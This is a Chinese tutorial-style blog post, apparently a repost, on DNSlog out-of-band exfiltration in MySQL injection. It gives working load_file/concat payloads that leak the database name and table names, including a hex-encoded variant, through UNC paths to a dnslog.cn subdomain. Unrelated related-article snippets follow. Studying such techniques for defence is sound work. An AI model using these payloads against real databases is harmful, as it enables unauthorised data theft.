DNSlog外带原理及注入分析,DNSlog外带原理及注入分析

这篇具有很好参考价值的文章主要介绍了DNSlog外带原理及注入分析,DNSlog外带原理及注入分析。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

前言最近一直听到DNSlog外带原理等词但对其原理一直只是自己的理解(回显DNS请求后的日志)并没有真正的了解过,所以这里做一下记录。DNSlog原理


DNS (Domain Name System) 是互联网的命名系统,负责将域名转化为 IP 地址。在浏览器访问域名时,浏览器会将域名解析成真实的 IP 地址,然后访问对应服务器上的服务。DNSlog 就是 DNS 的日志,记录了域名解析时留下的域名和解析 IP 的记录。

DNSlog外带原理


DNS 在解析域名时会记录日志,我们可以将信息放在高级域名中,传递到自己这里,然后通过读取日志获取信息。所以 DNSlog 外带原理的基本原理就是通过 DNS 请求后,通过读取日志来获取我们的请求信息。

DNSlog注入


在搜索 DNSlog 原理时同时看到了 DNSlog 注入,所以本地测试一块都了解一下。

Load_file函数


注入主要用到了 Load_file 函数,该函数可以读取文件并返回文件内容为字符串。使用该函数有几个前提:

首先要有注入点;

  1. 需要有 root 权限;

  2. 数据库有读写权限即:secure_file_priv="";

  3. 得有请求 URL 权限;

  4. 还必须得是 Windows 服务器。

  5. 例如,在 D 盘中写了一个 1.txt 文件,可以使用 Load_file 函数读取它的内容:

sql

SELECT load_file('D:/1.txt');

Concat函数

由于在通过 Load_file 外带时是无法执行 SQL 语句的,因此需要使用 concat 函数将执行的 SQL 语句与 DNS 请求的 URL 进行拼接。

例如,以下语句将查询当前数据库名称并外带到指定的请求 URL 中:

sql

SELECT concat('Sentiment','\\',(select database()));

本地测试

通过 DNSlog 外带数据库信息:

sql

SELECT load_file(concat('//',(select database()),'.je5i3a.dnslog.cn/1.txt'));

通过 DNSlog 外带表名:

sql

SELECT load_file(concat('//',(select group_concat(table_name separator '_') from  information_schema.tables where table_schema=database()),'.je5i3a.dnslog.cn/1.txt'));

剩下的就是 SQL 注入常规操作了。

局限性

通过本地测试后,发现了一些问题。在 URL 中传递字符有一定的局限性,很多字符是无法传递的,所以在外带时,可以通过十六进制编码绕过符号的局限性。

例如,以下语句将使用十六进制编码查询当前数据库中表名并外带到指定的请求 URL 中:

sql

SELECT load_file(concat('//',(select hex(group_concat(table_name separator '_')) from  information_schema.tables where table_schema=database()),'.je5i3a.dnslog.cn/1.txt'));

如果需要将十六进制转换成字符,可以使用在线工具或者 MySQL 自带的函数进行转换。

总结


本文详细介绍了 DNSlog 外带原理及注入分析。DNSlog 是 DNS 的日志,记录了域名解析时留下的域名和解析 IP 的记录,通过 DNSlog 外带原理可以利用这些日志获取请求信息。在注入过程中,Load_file 函数读取文件并返回内容字符串,Concat 函数将执行的 SQL 语句与 DNS 请求的 URL 进行拼接。在传递字符时可能遇到局限性,可以通过十六进制编码绕过。文章来源地址https://www.toymoban.com/news/detail-401906.html

到了这里,关于DNSlog外带原理及注入分析,DNSlog外带原理及注入分析的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【electron】electron安装过慢和打包报错:Unable to load file:

    一、安装过慢问题: 一直处于安装过程 【 解决 】 二、打包报错:Unable to load file: 报错详情: 【 原因 】路径有中文,改为全英文路径

    2024年02月13日
    浏览(62)
  • docker使用load加载tar镜像时报错no such file or directory

    解决docker在使用load加载tar镜像时报错 open /var/lib/docker/tmp/docker-import-xxxxxxxxx/repositories: no such file or directory 在使用docker进行部署时,使用docker save指令对镜像打包成tar文件,在部署机器上使用docker load部署时报错,显示open /var/lib/docker/tmp/docker-import-xxxxxxxxx/repositories: no such file

    2024年02月12日
    浏览(50)
  • Failed to load resource: net::ERR_FILE_NOT_FOUND问题解决

    publicPath 是告诉 webpack 打包后的文件在浏览器中的访问路径。当你设置 publicPath: \\\'./\\\' 时,实际上是将构建后的资源相对于当前路径进行引用。 相对路径引用: 默认情况下,Vue CLI 生成的项目会把所有静态资源引用路径设置为绝对路径,即 /static/... 。这适用于大多数情况,尤其

    2024年02月20日
    浏览(53)
  • 【Vue3】2-11 : 生命周期钩子函数及原理分析

    一、组件生命周期概述 1.1 官方生命周期 1.2 钩子函数(回调函数) ▶  生命周期可划分为三个部分(- 表示执行循序): 二、实战:测试生命周期流程 >  代码  >  效果 每个组件在被创建时都要经过一系列的初始化过程 ——例如, 设置数据监听 编译模板 将实例挂载到

    2024年01月21日
    浏览(41)
  • Mantle: A Programmable Metadata Load Balancer for the Ceph File System——论文泛读

    SC 2015 Paper 元数据论文阅读汇总 优化Ceph的元数据局部性和负载平衡。 提高元数据服务性能的最常见技术是在专用的元数据服务器(MDS)节点之间平衡负载 [16, 25, 26, 21, 28]。常见的方法是鼓励独立增长并减少通信,使用诸如懒惰客户端和MDS同步 [16, 18, 29, 9, 30]、inode路径/权限

    2024年01月16日
    浏览(52)
  • 加载模型时出现 OSError: Unable to load weights from pytorch checkpoint file 报错的解决

    查了下,在网上还是个比较常见的报错 一般为加载某模型时突然报错 一般为下载某个 XXX_model.bin 的时候下载报错了 而下载源可以看到为 HuggingFace 首先得看看你是下载哪个模型报错了。像我这里有一个中间模型,所以不知道是哪个低层模型下载报错了。 打开 ~/.cache/huggingfa

    2024年02月08日
    浏览(42)
  • docker load -i导入镜像失败:Error processing tar file(exit status 1): unexpected EOF

    导入镜像失败了,不知道啥原因。。。 后来发现,我的tar包大小不对,只有50多兆,正常应该400多兆的,可能是什么时候拷文件时,拷失败了。。。 把正确的tar包换过来就好了 20230816 Docker 是一种开源的应用容器引擎,允许开发者将应用及其依赖打包到一个可移植的容器中,

    2024年02月06日
    浏览(53)
  • cannot load certificate “/usr/local/nginx/ssl/*.pem“: BIO_new_file() failed

    最近部署SSL证书的时候老是报错, cannot load certificate \\\"/usr/local/nginx/ssl/*.pem\\\": BIO_new_file() failed (SSL: error:02001002:system library:fopen:No such file or directory:fopen(\\\'/usr/local/nginx/ssl/*.pem\\\',\\\'r\\\') error:2006D080:BIO routines:BIO_new_file:no such file) 这个错误也是比较常见的,我出现这个问题首先是查看自己

    2024年02月11日
    浏览(38)
  • 【Linux0.11代码分析】07 之 kernel execve() 函数 实现原理

    系列文章如下: 系列文章汇总:《【Linux0.11代码分析】之 系列文章链接汇总(全)》 https://blog.csdn.net/Ciellee/article/details/130510069 . 1.《【Linux0.11代码分析】01 之 代码目录分析》 2.《【Linux0.11代码分析】02 之 bootsect.s 启动流程》 3.《

    2024年02月03日
    浏览(48)
  • nginx 配置 ssl 后无法访问 nginx: [emerg] cannot load certificate “*”: BIO_new_file() failed

    nginx 配置 ssl 后无法访问 nginx -s reload 无异常,其他域名也可以正常访问 使用 systemctl status nginx 查看状态,发现异常 可能是 SELinux 打开造成无权限读取证书 如果状态为disabled是关闭,没必要往下看了 重启nginx,应该就可以了 nginx -s reload 无效,可能是以下原因,建议直接使用

    2024年02月08日
    浏览(52)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包